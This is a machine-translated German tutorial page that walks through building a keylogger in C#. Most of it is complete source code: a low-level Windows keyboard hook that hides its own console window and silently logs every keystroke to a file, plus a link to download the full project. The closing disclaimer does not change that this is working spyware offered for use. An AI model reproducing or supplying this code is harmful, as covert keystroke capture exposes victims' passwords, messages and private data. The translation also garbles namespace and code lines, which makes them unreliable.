This is a machine translation. The original page (in English) is available here.

Neueste Nachrichten aus aller Welt: - Warum die USA erwägt TikTok Ban RSS-Feed

Home>Artikel>Machen Sie Ihre Eigenen Tasten-Rekorder Mit C#.Net
Top-Keylogger
Lesen Sie mehr...

Machen Sie Ihre Eigenen Tasten-Rekorder Mit C#.Net

  •  
User-Bewertung: 4.5 - 2 Stimmen
Was ist ein Tasten-Rekorder ?

Es ist eine Anwendung-Programm, das verwendet wird, um die alle eingegebenen Schlüssel von der Tastatur. meist wird es verwendet für die Hacker-Zwecke.

Nach Webopedia :
Ein Tasten-Rekorder ist eine Art von überwachungs-software (als software oder spyware), die die Fähigkeit zur Aufzeichnung jeden Tastenanschlag, die Sie machen, um eine log-Datei, in der Regel verschlüsselt. Ein Tasten-Rekorder recorder aufzeichnen, instant messages, e-Mails und alle Informationen, die Sie geben, jederzeit über die Tastatur.
Hier werde ich zeigen, diese nicht zu hacken jemands Computern, aber zu wissen, den Prozess.

So können beginnen, um unsere eigenen Tasten-Rekorder.

Zuerst starten Sie eine Konsole-Anwendung in visual Studio.

Jetzt namespace hinzufügen

  • mit System.Diagnostik;

  • mit System.Windows.Formen;

  • mit System.- Laufzeit.InteropServices;

  • mit System.IO;


Nun fügen Sie einige private Globale Variablen

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;


Jetzt in der Main()


var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // to hide the running application
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);


Nun fügen Sie diesen code außerhalb der Main()


private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
/*for this create a folder named "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}


Fügen Sie nun einige DLLs


[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);


und am Ende machen die SW_HIDE 0

const int SW_HIDE = 0;

Jetzt nachdem ich alle diese Fehler erhalten Sie in der Verwendung von System.Windows.Formen;.
Um diesen Fehler zu vermeiden, müssen Sie einen Verweis hinzufügen von Windows.Formen.

Wie macht man das?
Der rechten Maustaste auf den Projektnamen im Projektmappen-Explorer. Und klicken Sie auf Verweis Hinzufügen.



Jetzt auf der .NET-Registerkarte, wählen Sie das System aus.Windows.Form



Und klicken Sie auf die Schaltfläche OK. Nun, wenn Sie schauen Sie in die Referenz Projektmappen-Explorer erhalten Sie, dass die Referenz Hinzugefügt wurde.



Jetzt Bauen(F6 Drücken) und prüfen, gibt es irgendwelche Fehler oder nicht. Gemäß dem code sollte es keine Fehler vorhanden. So führen Sie das Programm.

Wenn Sie den code ausführen, die mit der Anwendung.StartupPath, dann überprüfen Sie die log-Datei im bin -> debug-Ordner. Und man bekommt auch die .EXE unter dem Ordner. So genießen Sie...

Laden Sie den vollständigen source code hier.
Datum der Veröffentlichung:
Lesen Sie den vollständigen Artikel
Home>Artikel>Machen Sie Ihre Eigenen Tasten-Rekorder Mit C#.Net
WICHTIG!!!! Installation von computer-monitoring-tools auf Computern, die Sie nicht besitzen oder haben keine Berechtigung zum monitor kann gegen lokale, Staatliche oder bundesstaatliche Gesetz.